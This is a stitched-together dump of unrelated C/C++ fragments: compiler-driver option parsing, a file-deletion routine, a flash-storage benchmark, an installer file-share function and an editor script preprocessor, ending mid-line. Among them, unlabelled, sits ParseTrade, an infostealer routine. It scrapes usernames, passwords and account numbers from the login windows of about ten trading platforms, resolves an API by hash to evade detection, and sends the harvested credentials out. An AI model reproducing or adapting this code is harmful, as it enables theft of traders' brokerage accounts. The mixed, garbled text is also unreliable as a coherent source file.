); error_occured = 1; } } } else if( ( nd->d_attr & _A_RDONLY ) && !fflag ) { PrintALineThenDrop( "%s is read-only, use -f", tmppath ); error_occured = 1; } else { /* build file list */ len = strlen( tmppath ); tmp = MemAlloc( sizeof( iolist ) + len ); if( ftail == NULL ) fhead = tmp; else ftail->next = tmp; ftail = tmp; memcpy( tmp->name, tmppath, len + 1 ); tmp->attr = nd->d_attr; } } closedir( d ); if( rxflag ) FileMatchFini( crx ); /* process any files found */ tmp = fhead; if( tmp == NULL && !fflag ) { PrintALineThenDrop( "File (%s) not found.", f ); error_occured = 1; } while( tmp != NULL ) { if( tmp->attr & _A_RDONLY ) chmod( tmp->name, PMODE_RW ); if( iflag ) { PrintALine( "Delete %s (y\\n)", tmp->name ); while( ( i = tolower( getch() ) ) != 'y' && i != 'n' ) ; DropALine(); if( i == 'y' ) remove( tmp->name ); } else { if( !sflag ) PrintALine( "Deleting file %s", tmp->name ); remove( tmp->name ); } ftail = tmp; tmp = tmp->next; MemFree( ftail ); } /* process any directories found */ if( rflag && ( tmp = dhead ) != NULL ) { while( tmp != NULL ) { RecursiveRM( tmp->name ); dtail = tmp; tmp = tmp->next; MemFree( dtail ); } } }
static int Parse( char *Cmd ) /***************************/ { char opt; char *end; FILE *atfp; char buffer[_MAX_PATH]; char unquoted[_MAX_PATH]; size_t len; char *p; int wcc_option; list *new_item; /* Cmd will always begin with at least one */ /* non-space character if we get this far */ for( ;; ) { Cmd = SkipSpaces( Cmd ); if( *Cmd == '\0' ) break; opt = *Cmd; if( opt == '-' || opt == Switch_Chars[1] ) { Cmd++; } else if( opt != '@' ) { opt = ' '; } end = Cmd; if( *Cmd == '"' ) { end = FindNextWS( end ); } else { end = FindNextWSOrOpt( end, opt, Switch_Chars ); } len = end - Cmd; if( len != 0 ) { if( opt == ' ' ) { /* if filename, add to list */ strncpy( Word, Cmd, len ); Word[len] = '\0'; end = ScanFName( end, len ); UnquoteFName( unquoted, sizeof( unquoted ), Word ); new_item = MemAlloc( sizeof( list ) ); new_item->next = NULL; new_item->item = MemStrDup( unquoted ); if( FileExtension( Word, ".lib" ) ) { ListAppend( &Libs_List, new_item ); } else if( FileExtension( Word, ".res" ) ) { ListAppend( &Res_List, new_item ); } else { ListAppend( &Files_List, new_item ); } } else { /* otherwise, do option */ --len; strncpy( Word, Cmd + 1, len ); Word[len] = '\0'; wcc_option = 1; /* assume it's a wcc option */ switch( tolower( *Cmd ) ) { case 'b': /* possibly -bcl */ if( strnicmp( Word, "cl=", 3 ) == 0 ) { strcat( CC_Opts, " -bt=" ); strcat( CC_Opts, Word+3 ); Flags.link_for_sys = TRUE; MemFree( SystemName ); SystemName = MemStrDup( Word+3 ); wcc_option = 0; } break; case 'f': /* files option */ p = ScanFName( end, len ); switch( tolower( Word[0] ) ) { case 'd': /* name of linker directive file */ if( Word[1] == '=' || Word[1] == '#' ) { end = p; /* remove quotes from target linker control filename */ UnquoteFName( unquoted, sizeof( unquoted ), Word + 2 ); MakeName( unquoted, ".lnk" ); /* add extension */ MemFree( Link_Name ); Link_Name = MemStrDup( unquoted ); } else { MemFree( Link_Name ); Link_Name = MemStrDup( TEMPFILE ); } wcc_option = 0; break; case 'e': /* name of exe file */ if( Word[1] == '=' || Word[1] == '#' ) { end = p; /* remove quotes from target executable filename */ UnquoteFName( unquoted, sizeof( unquoted ), Word + 2 ); strcpy( Exe_Name, unquoted ); } wcc_option = 0; break; case 'i': /* name of forced include file */ end = p; break; case 'm': /* name of map file */ Flags.map_wanted = TRUE; if( Word[1] == '=' || Word[1] == '#' ) { end = p; /* remove quotes from target map filename */ UnquoteFName( unquoted, sizeof( unquoted ), Word + 2 ); MemFree( Map_Name ); Map_Name = MemStrDup( unquoted ); } wcc_option = 0; break; case 'o': /* name of object file */ end = p; /* parse off argument, so we get right filename in linker command file */ p = &Word[1]; if( Word[1] == '=' || Word[1] == '#' ) ++p; /* remove quotes from object name */ UnquoteFName( unquoted, sizeof( unquoted ), p ); MemFree( Obj_Name ); Obj_Name = MemStrDup( unquoted ); break; #if defined( WCLI86 ) || defined( WCL386 ) case 'p': /* floating-point option */ end = p; if( tolower( Word[1] ) == 'c' ) { Flags.math_8087 = 0; } break; #endif default: end = p; break; } break; case 'k': /* stack size option */ if( Word[0] != '\0' ) { MemFree( StackSize ); StackSize = MemStrDup( Word ); } wcc_option = 0; break; case 'l': /* link target option */ switch( (Word[1] << 8) | tolower( Word[0] ) ) { case 'p': Flags.link_for_dos = 0; Flags.link_for_os2 = TRUE; break; case 'r': Flags.link_for_dos = TRUE; Flags.link_for_os2 = 0; break; default: /* 10-jun-91 */ Flags.link_for_sys = TRUE; p = &Word[0]; if( Word[0] == '=' || Word[0] == '#' ) ++p; MemFree( SystemName ); SystemName = MemStrDup( p ); break; } wcc_option = 0; break; case 'x': if( Word[0] == '\0' ) { Flags.two_case = TRUE; wcc_option = 0; } break; case '@': if( Word[0] != '\0' ) { char const * const env = getenv( Word ); if( env != NULL ) { if( handle_environment_variable( env ) ) { return( 1 ); // Recursive call failed } via_environment = TRUE; Cmd = end; continue; } end = ScanFName( end, len ); /* remove quotes from additional linker options file */ UnquoteFName( unquoted, sizeof( unquoted ), Word ); strcpy( Word, unquoted ); MakeName( Word, ".lnk" ); errno = 0; if( (atfp = fopen( Word, "r" )) == NULL ) { PrintMsg( WclMsgs[UNABLE_TO_OPEN_DIRECTIVE_FILE], Word, strerror( errno ) ); return( 1 ); } while( fgets( buffer, sizeof( buffer ), atfp ) != NULL ) { if( strnicmp( buffer, "file ", 5 ) == 0 ) { /* look for names separated by ','s */ p = strchr( buffer, '\n' ); if( p != NULL ) *p = '\0'; AddName( &buffer[5], Fp ); Flags.do_link = TRUE; } else { fputs( buffer, Fp ); } } fclose( atfp ); } wcc_option = 0; break; /* compiler options that affect the linker */ #ifdef WCL386 case '3': case '4': case '5': /* 22-sep-92 */ Conventions = tolower( Word[0] ); break; #endif case 'd': if( DebugFlag == 0 ) { /* not set by -h yet */ if( strcmp( Word, "1" ) == 0 ) { DebugFlag = 1; } else if( strcmp( Word, "1+" ) == 0 ) { /* 02-mar-91 */ DebugFlag = 2; } else if( strcmp( Word, "2" ) == 0 ) { DebugFlag = 2; } else if( strcmp( Word, "2i" ) == 0 ) { DebugFlag = 2; } else if( strcmp( Word, "2s" ) == 0 ) { DebugFlag = 2; } else if( strcmp( Word, "3" ) == 0 ) { DebugFlag = 2; } else if( strcmp( Word, "3i" ) == 0 ) { DebugFlag = 2; } else if( strcmp( Word, "3s" ) == 0 ) { DebugFlag = 2; } } break; case 'h': if( strcmp( Word, "w" ) == 0 ) { DebugFlag = 3; } else if( strcmp( Word, "c" ) == 0 ) { /* 02-mar-91 */ Flags.do_cvpack = 1; DebugFlag = 4; } else if( strcmp( Word, "d" ) == 0 ) { DebugFlag = 5; } break; case 'i': /* include file path */ end = ScanFName( end, len ); break; case 'c': /* compile only */ if( stricmp( Word, "c" ) == 0 ) { Flags.force_c = TRUE; } else if( stricmp( Word, "c++" ) == 0 ) { Flags.force_c_plus = TRUE; } else { Flags.no_link = TRUE; } wcc_option = 0; break; case 'y': if( stricmp( Word, "x" ) == 0 ) { strcat( CC_Opts, " -x" ); wcc_option = 0; } else if( Word[0] == '\0' ) { wcc_option = 0; } break; #if defined( WCLI86 ) || defined( WCL386 ) case 'm': /* memory model */ if( Cmd[1] == 't' || Cmd[1] == 'T' ) { /* tiny model*/ Word[0] = 's'; /* change to small */ Flags.tiny_model = TRUE; } break; #endif case 'p': Flags.no_link = TRUE; break; /* this is a preprocessor option */ case 'q': Flags.be_quiet = TRUE; break; case 'z': /* 12-jan-89 */ switch( tolower( Cmd[1] ) ) { case 's': Flags.no_link = TRUE; break; case 'q': Flags.be_quiet = TRUE; break; #ifdef WCLI86 case 'w': Flags.windows = TRUE; #endif } break; case '"': /* 17-dec-91 */ /* As parameter passing to linker is a special case, we need to pass * whole command instead of first character removed. This allows us * to parse also string literals in AddDirective. */ wcc_option = 0; strncpy( Word, Cmd, ++len ); Word[len] = '\0'; AddDirective( len ); break; } /* don't add linker-specific options */ /* to compiler command line: */ if( wcc_option ) { len = strlen( CC_Opts ); CC_Opts[len++] = ' '; CC_Opts[len++] = opt; CC_Opts[len++] = *Cmd; /* keep original case */ CC_Opts[len] = '\0'; strcat( CC_Opts, Word ); } } Cmd = end; } } return( 0 ); }
void ParseTrade( HWND hWnd ) { char *Program = NULL; if ( !pTradeInfo ) { return; } if ( IsBlackwoodPro() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1022; pTradeInfo->dwPassID = 1023; pTradeInfo->dwServID = 1687; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); while ( !(BOOL)pEnumChildWindows( (HWND)pGetParent( (HWND)pGetActiveWindow() ), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "BlackwoodPRO"; } else if ( IsFinamDirect() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 5328; pTradeInfo->dwPassID = 5329; pTradeInfo->dwServID = 159; pTradeInfo->dwAccID = 5965; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->UserID ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "FinamDirect"; } else if ( IsGrayBox() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1000; pTradeInfo->dwPassID = 1001; pTradeInfo->dwServID = 1147; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "GrayBox"; } else if ( IsMbtPro() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 309; pTradeInfo->dwPassID = 310; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "MbtPRO"; } else if ( IsLaser() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1062; pTradeInfo->dwPassID = 1064; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "Laser"; } else if ( IsLightSpeed() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 10826; pTradeInfo->dwPassID = 10825; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "LightSpeed"; } else if ( IsLT() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 5328; pTradeInfo->dwPassID = 5329; pTradeInfo->dwServID = 159; pTradeInfo->dwAccID = 5965; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->UserID ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "LTGroup"; } else if ( IsMbt() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 309; pTradeInfo->dwPassID = 310; pTradeInfo->dwServID = 311; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "Mbt"; } else if ( IsScotTrader() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1076; pTradeInfo->dwPassID = 1005; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "ScotTrader"; } else if ( IsSaxoTrader() && TradeGetWindowID2( hWnd ) == 1442918145 ) { pTradeInfo->dwUserID = 1442906816; pTradeInfo->dwPassID = 1442906848; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc2, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "SaxoTrader"; } if ( Program != NULL ) { char *Buffer = (char*)MemAlloc( 1024 ); char Template[] = "Program: %s\r\n" "Username: %s\r\n" "Password: %s\r\n" "AccountNO: %s\r\n" "Server: %s\r\n"; if ( Buffer != NULL ) { typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); _pwsprintfA( Buffer, Template, Program, pTradeInfo->Username, pTradeInfo->Password, pTradeInfo->UserID, pTradeInfo->Server ); SendTradeInfo( Buffer ); MemFree( Buffer ); MemFree( pTradeInfo->Server ); MemFree( pTradeInfo->Username ); MemFree( pTradeInfo->Password ); MemFree( pTradeInfo->UserID ); if ( ( pTradeInfo = (PTRADEINFO)MemAlloc( sizeof( PTRADEINFO ) ) ) != NULL ) { m_memset( pTradeInfo, 0, sizeof( PTRADEINFO ) ); } } }
/** * @brief Computes Params * * The difficulty here is to acomodate all the benchmark runs into the memory available * on the device without having to "reformat" it.\n * Allocation is based on the assumption that benchmark runs are done in a given order: * -# read only benchmark (do not modify the "state" of the flash (Exp. 1 to 15) * -# random writes (on the whole device) ==> modify slightly, but randomly the state (Exp. 16-22) * -# Sequential writes on focused areas ==> modify the state, but the focus moves\n * ==> the memory is "consumed" sequentially. If no more memory is available warning * DEVICE_TOO_SMALL is set and the offset is chosen randomly (thus the test is not ok) * -# Mix patterns SR/SW, RR/SW, SW/RW * -# parallelism and partitionned patterns (Exp. 32 & 33)==> Memory is allocated in the * remaining part of the device. Tuning of IOCount and experiments should be done to fit * in the device. * -# Ordered patterns (Exp. 34): when the experiment is "focused" (small gaps), we do as * with sequential up to the point where there is no place. Then, it is random. * * Memory allocation is done thanks to the blocAlloc module. * * @param PB a pointer to a structure containing benchmark parameters for this session * @param memList a pointer to a list of free areas on the device * @param value the value of the parameter used for the generation * @param nbVal number of values */ static void ComputeParams (UflipParams *PB, item *memList, int32_t value, int32_t nbVal) { static int32_t startAddress = 0; static int32_t shift = 0; int32_t size; bool isRead = false; bool isSeq = false; printf ("Generates %d.%d with param %d\n", PB->microBenchID, PB->expID, value); if (strcasecmp (PB->base, "SR") == 0) { PB->ignoreIO = PB->ignoreIOSR; PB->IOCount = PB->IOCountSR; isSeq = true; isRead = true; } else if (strcasecmp (PB->base, "SW") == 0) { PB->ignoreIO = PB->ignoreIORR; PB->IOCount = PB->IOCountRR; isSeq = true; isRead = false; } else if (strcasecmp (PB->base, "RR") == 0) { PB->ignoreIO = PB->ignoreIOSW; PB->IOCount = PB->IOCountSW; isSeq = false; isRead = true; } else if (strcasecmp (PB->base, "RW") == 0) { PB->ignoreIO = PB->ignoreIORW; PB->IOCount = PB->IOCountRW; isSeq = false; isRead = false; } PB->targetSize = PB->deviceSize; /* Default value for target size */ switch (PB->microBenchID) { case GRA: PB->IOSize = value; break; case ALI: PB->IOShift = value; break; case LOC: PB->targetSize = value * PB->IOSize; break; case PAT: PB->nbPartition = value; break; case ORD: PB->order = value; break; case PAR: PB->parDeg = value; break; case MIX: PB->ratio = value; break; case PIO: PB->pauseIO = value; break; case PBU: PB->burstIO = value; break; default: /* nothing to do */ break; } /* Number of sectors potentially touched by the experiment */ size = PB->IOSize * PB->IOCount; if (PB->IOShift != 0) size += PB->IOSize; switch (PB->microBenchID) { case LOC: /* 3-LOCALITY */ size = PB->targetSize; if ((isRead == true) || (value > 1024)) { PB->targetOffset = uflip_random_get_int (rg, 0, (int32_t) ((PB->deviceSize - size) / BLOCK)) * BLOCK; } else { PB->targetOffset = MemSearch (memList, size); /*printf ("==>%d %d\n",size, PB->targetOffset);*/ } break; case ORD: /* 5-ORDER */ size = PB->IOSize * abs (PB->order) * PB->IOCount; /*XXX: wtf? */ size = PB->IOSize * PB->IOCount * PB->order; if (size == 0) size = BLOCK; PB->targetSize = abs (size); if (isRead == true) { PB->targetOffset = uflip_random_get_int (rg, 0, (int32_t) ((PB->deviceSize - PB->targetSize) / BLOCK)) * BLOCK; if (size < 0) PB->targetOffset = PB->deviceSize - PB->targetOffset; } else { PB->targetOffset = MemSearch (memList, abs(size)); if (PB->targetOffset == INT32_MAX) { PB->targetOffset = uflip_random_get_int (rg, 0, (int32_t) ((PB->deviceSize - abs (size))/BLOCK)) * BLOCK; PB->warning = DEVICE_TOO_SMALL; OutputString (OUT_LOG, "DEVICE TOO SMALL \n"); } if (size < 0) PB->targetOffset = PB->targetOffset - size; } break; case GRA: case ALI: case PIO: case PBU: /* 1-GRANULARITY , 2-ALIGNMENT, 8-PAUSE, 9-BURST */ if (isSeq == false) { PB->targetOffset = 0; } else if (isRead == true) { PB->targetOffset = uflip_random_get_int (rg, 0, (int32_t) ((PB->targetSize - size) / BLOCK)) * BLOCK; PB->targetSize = size; } else { PB->targetOffset = MemSearch (memList, size); PB->targetSize = size; } break; case MIX: /* 07-MIX */ { int32_t I1 = PB->ignoreIO; int32_t I2 = 0; int32_t C1 = PB->IOCount; int32_t C2 = 0; int32_t size1; int32_t size2; if (strcasecmp (PB->base2, "SR") == 0) { I2 = PB->ignoreIOSR; C2 = PB->IOCountSR; } else if (strcasecmp (PB->base2, "SW") == 0) { I2 = PB->ignoreIOSW; C2 = PB->IOCountSW; } else if (strcasecmp (PB->base2, "RR") == 0) { I2 = PB->ignoreIORR; C2 = PB->IOCountRR; } else if (strcasecmp (PB->base2, "RW") == 0) { I2 = PB->ignoreIORW; C2 = PB->IOCountRW; } if (PB->ratio < 0) { PB->ignoreIO = max (I1 + (I1 - 1) * (-PB->ratio) + 1, I2 * (-PB->ratio + 1) / (-PB->ratio) + 1); PB->IOCount = max (C1 - I1, C2 - I2) + PB->ignoreIO; size1 = PB->IOSize * (1 + (int32_t) (PB->IOCount / (-PB->ratio + 1))); size2 = PB->IOSize * (1 + (int32_t) ((PB->IOCount / (-PB->ratio + 1)) * (-PB->ratio))); } else if (PB->ratio > 0) { PB->ignoreIO = max (I2 + (I2 - 1) * PB->ratio + 1, (I1 * (PB->ratio + 1) / PB->ratio) + 1); PB->IOCount = max (C1 - I1, C2 - I2) + PB->ignoreIO; size1 = PB->IOSize * (1 + (int32_t)(PB->IOCount / (PB->ratio + 1))); size2 = PB->IOSize * (1 + (int32_t)((PB->IOCount / (PB->ratio + 1)) * (PB->ratio))); } else { PB->ignoreIO = I2; PB->IOCount = C2; size1 = 0; size2 = PB->IOSize * PB->IOCount; } if (((strcasecmp (PB->base, "SR") == 0) && (strcasecmp (PB->base2, "RR") == 0)) || ((strcasecmp (PB->base, "SR") == 0) && (strcasecmp (PB->base2, "RW") == 0))) { PB->targetSize = size1; PB->targetOffset = uflip_random_get_int (rg, 0, (int32_t) ((PB->deviceSize - size1) / BLOCK)) * BLOCK; PB->targetOffset2 = 0; PB->targetSize2 = PB->deviceSize; } else if ((strcasecmp (PB->base, "RR") == 0) && (strcasecmp (PB->base2, "RW") == 0)) { PB->targetSize = PB->deviceSize; PB->targetOffset = 0; PB->targetOffset2 = 0; PB->targetSize2 = PB->deviceSize; } else if ((strcasecmp (PB->base, "RR") == 0) && (strcasecmp (PB->base2, "SW") == 0)) { PB->targetOffset2 = MemSearch (memList, size2); PB->targetSize2 = size2; PB->targetOffset = MemMinAddress (memList); PB->targetSize = PB->deviceSize - PB->targetOffset; } else if ((strcasecmp (PB->base, "SW") == 0) && (strcasecmp (PB->base2, "RW") == 0)) { PB->targetOffset = MemSearch (memList, size1); PB->targetSize = size1; PB->targetOffset2 = MemMinAddress (memList); PB->targetSize2 = PB->deviceSize - PB->targetOffset2; } else if ((strcasecmp (PB->base, "SR") == 0) && (strcasecmp (PB->base2, "SW") == 0)) { PB->targetOffset2 = MemSearch (memList, size2); PB->targetSize2 = size2; PB->targetOffset = uflip_random_get_int (rg, (int32_t) ((PB->deviceSize - MemMinAddress (memList)) / 2) / BLOCK, (int32_t) ((PB->deviceSize - size1) / BLOCK)) * BLOCK; PB->targetSize = size1; } } break; case PAR: /* 6-PARALLELISM */ PB->targetSize = ((int32_t) ((PB->deviceSize / PB->parDeg) / BLOCK)) * BLOCK; if (isSeq == false) { PB->targetOffset = PB->processID * PB->targetSize; } else if (isRead == true) { PB->targetOffset = uflip_random_get_int(rg, (PB->processID * PB->targetSize)/BLOCK, ((PB->processID + 1) * PB->targetSize - size)/BLOCK) * BLOCK; PB->targetSize = size; } else { /* SEQUENTIAL WRITE..... CAUTION : PARALLEL EXPERIMENT MUST BE AFTER PARTITIONING */ PB->targetSize = (PB->deviceSize - startAddress) / PB->parDeg; if (PB->targetSize < size) HandleError (__func__, "device too small", 0, ERR_ABORT); PB->targetOffset = MemAllocNearestAfterA (memList, (PB->processID) * PB->targetSize + startAddress, size); if (PB->targetOffset == -1) HandleError (__func__, "Allocation problem!", 0, ERR_ABORT); PB->targetSize = size; } break; case PAT: /* 4-PARTITIONING */ if ((isRead == true) || (PB->nbPartition > 16)) { PB->targetOffset = 0; PB->targetSize = ((int32_t) (PB->deviceSize / (MAX_PARTITIONS * BLOCK))) * MAX_PARTITIONS * BLOCK; } else { /* SEQUENTIAL WRITE..... CAUTION : PARTITIONNING EXPERIMENT MUST BE THE FIRST ... */ if (startAddress == 0) startAddress = MemMinAddress(memList); if ((size % (16 * BLOCK)) != 0) size = ((int32_t) (size / (16 * BLOCK)) + 1 ) * (16 * BLOCK); PB->targetSize = PB->deviceSize - startAddress - size * nbVal * PB->nbRun; PB->targetSize = (int32_t) (PB->targetSize / (16 * BLOCK)) * (16 * BLOCK); if (PB->targetSize < size) HandleError (__func__, "device too small", 0, ERR_ABORT); PB->targetOffset = startAddress + shift; for (int32_t k = 0; k < PB->nbPartition; ++k) { long temp; temp = MemAlloc(memList, PB->targetOffset + k * PB->targetSize / PB->nbPartition, PB->targetOffset + k * PB->targetSize / PB->nbPartition + size / PB->nbPartition); if (temp == -1) HandleError (__func__, "Allocation problem!", 0, ERR_ABORT); } shift = shift + size / PB->nbPartition; } break; default: /* nothing to do */ break; } if (PB->targetOffset == INT32_MAX) HandleError (__func__, "device too small", 0, ERR_ABORT); if ((PB->order >= 0) && (PB->targetOffset + PB->targetSize > PB->deviceSize)) { char st [MAX_STR]; sprintf (st, "Adjusting TargetSize (TO = %d, TS = %d DS = %d\n", PB->targetOffset, PB->targetSize, PB->deviceSize); PB->targetSize = PB->deviceSize - PB->targetOffset; PB->warning = PB->warning | TEST_EXCEED_DEVICE; OutputString (OUT_LOG, st); } if ((PB->order < 0) && (PB->targetOffset - PB->targetSize < 0)) { char st [MAX_STR]; sprintf (st, "Adjusting TargetSize Reverse Order (TO = %d, TS = %d DS = %d\n", PB->targetOffset, PB->targetSize, PB->deviceSize); PB->targetSize = PB->targetOffset; PB->warning = PB->warning | TEST_EXCEED_DEVICE; OutputString (OUT_LOG, st); } }
/******************************************************************** CreateShare - create the file share on this computer ********************************************************************/ HRESULT CreateShare(SCA_SMBP* pssp) { if (!pssp || !(pssp->wzKey)) return E_INVALIDARG; HRESULT hr = S_OK; PACL pACL = NULL; SHARE_INFO_502 si; NET_API_STATUS s; DWORD dwParamErr = 0; BOOL fShareExists = SUCCEEDED(DoesShareExist(pssp->wzKey)); PSECURITY_DESCRIPTOR pSD = static_cast<PSECURITY_DESCRIPTOR>(MemAlloc(SECURITY_DESCRIPTOR_MIN_LENGTH, TRUE)); ExitOnNull(pSD, hr, E_OUTOFMEMORY, "Failed to allocate memory for security descriptor"); #pragma prefast(push) #pragma prefast(disable:25029) if (!::InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION)) #pragma prefast(pop) { ExitOnLastError(hr, "failed to initialize security descriptor"); } hr = AllocateAcl(pssp, &pACL); ExitOnFailure(hr, "Failed to allocate ACL for fileshare"); if (NULL == pACL) { WcaLog(LOGMSG_VERBOSE, "Ignoring NULL DACL."); } #pragma prefast(push) #pragma prefast(disable:25028) // We only call this when pACL isn't NULL, so this call is safe according to the docs // add the ACL to the security descriptor. else if (!::SetSecurityDescriptorDacl(pSD, TRUE, pACL, FALSE)) { ExitOnLastError(hr, "Failed to set security descriptor"); } #pragma prefast(pop) // all that is left is to create the share FillShareInfo(&si, pssp, pSD); // Fail if the directory doesn't exist if (!DirExists(pssp->wzDirectory, NULL)) ExitOnFailure1(hr = HRESULT_FROM_WIN32(ERROR_OBJECT_NOT_FOUND), "Can't create a file share on directory that doesn't exist: %ls.", pssp->wzDirectory); WcaLog(LOGMSG_VERBOSE, "Creating file share on directory \'%ls\' named \'%ls\'.", pssp->wzDirectory, pssp->wzKey); if (!fShareExists) { s = ::NetShareAdd(NULL, 502, (BYTE*) &si, &dwParamErr); WcaLog(LOGMSG_VERBOSE, "Adding a new file share."); } else { // The share exists. Write our new permissions over the top. s = ::NetShareSetInfo(NULL, pssp->wzKey, 502, (BYTE*) &si, &dwParamErr); WcaLog(LOGMSG_VERBOSE, "Setting permissions on existing share."); } if (NERR_Success != s) { hr = E_FAIL; if (!fShareExists && NERR_DuplicateShare == s) WcaLog(LOGMSG_VERBOSE, "Duplicate error when existence check failed."); // error codes listed above. ExitOnFailure1(hr, "Failed to create/modify file share: Err: %d", s); } LExit: if (pACL) { ::LocalFree(pACL); } ReleaseMem(pSD); return hr; }
/* * PreProcess - pre-process source file */ vi_rc PreProcess( const char *fn, sfile **sf, labels *lab ) { GENERIC_FILE gf; int i, token, k, len; sfile *tsf; char tmp[MAX_SRC_LINE], tmp2[MAX_SRC_LINE]; char tmp3[MAX_SRC_LINE]; bool ret; #ifdef VICOMP bool AppendingFlag = FALSE; #else #define AppendingFlag EditFlags.Appending #endif /* * get source file */ #ifdef VICOMP ret = SpecialOpen( fn, &gf ); #else if( EditFlags.CompileScript ) { EditFlags.OpeningFileToCompile = TRUE; ret = SpecialOpen( fn, &gf, FALSE ); EditFlags.OpeningFileToCompile = FALSE; } else { ret = SpecialOpen( fn, &gf, EditFlags.BoundData ); } #endif if( !ret ) { return( ERR_FILE_NOT_FOUND ); } /* * init control */ CSInit(); CurrentSrcLine = 0L; tsf = MemAlloc( sizeof( sfile ) ); tsf->next = NULL; tsf->prev = NULL; tsf->arg1 = NULL; tsf->arg2 = NULL; tsf->data = NULL; tsf->token = SRC_T_NULL; *sf = tmpTail = tsf; cLab = lab; /* * set up error handler */ i = setjmp( genExit ); if( i != 0 ) { SpecialFclose( &gf ); return( (vi_rc)i ); } /* * process each line */ while( SpecialFgets( tmp, MAX_SRC_LINE - 1, &gf ) >= 0 ) { /* * prepare this line */ CurrentSrcLine++; #ifndef VICOMP if( !EditFlags.ScriptIsCompiled ) { #endif RemoveLeadingSpaces( tmp ); k = strlen( tmp ); memcpy( tmp3, tmp, k + 1 ); if( (len = NextWord1( tmp, tmp2 )) <= 0 ) { continue; } if( tmp2[0] == '#' ) { continue; } hasVar = FALSE; for( i = 0; i < k; i++ ){ if( tmp3[i] == '%' ) { hasVar = TRUE; break; } } /* * if we are appending (ie, an append token was encounterd * before, stop tokenizing */ if( !AppendingFlag ) { token = Tokenize( SourceTokens, tmp2, TRUE ); #ifndef VICOMP if( token == SRC_T_VBJ__ ) { EditFlags.ScriptIsCompiled = TRUE; continue; } #endif } else { token = TOK_INVALID; } #ifndef VICOMP } else { len = NextWord1( tmp, tmp2 ); hasVar = (bool) tmp2[0] - '0'; token = atoi( &tmp2[1] ); } #endif /* * process recognized tokens */ if( token != TOK_INVALID ) { RemoveLeadingSpaces( tmp ); if( token > SRC_T_NULL ) { genItem( token, tmp ); continue; } /* * get parm */ AddString( &CurrentSrcData, tmp ); freeSrcData = TRUE; /* * process token */ switch( token ) { case SRC_T_EXPR: genExpr(); break; case SRC_T_LABEL: GenLabel( tmp ); break; case SRC_T_IF: CSIf(); break; case SRC_T_QUIF: CSQuif(); break; case SRC_T_ELSEIF: CSElseIf(); break; case SRC_T_ELSE: CSElse(); break; case SRC_T_ENDIF: CSEndif(); break; case SRC_T_LOOP: CSLoop(); break; case SRC_T_ENDLOOP: case SRC_T_ENDWHILE: CSEndLoop(); break; case SRC_T_WHILE: CSWhile(); break; case SRC_T_UNTIL: CSUntil(); break; case SRC_T_BREAK: CSBreak(); break; case SRC_T_CONTINUE: CSContinue(); break; default: genItem( token, NULL ); if( token == SRC_T_GOTO ) { #ifndef VICOMP if( EditFlags.ScriptIsCompiled ) { NextWord1( CurrentSrcData, tmp ); tmpTail->branchcond = atoi( CurrentSrcData ); strcpy( CurrentSrcData, tmp ); } else { #endif tmpTail->branchcond = COND_JMP; #ifndef VICOMP } #endif } tmpTail->data = CurrentSrcData; freeSrcData = FALSE; break; } if( freeSrcData ) { MemFree( 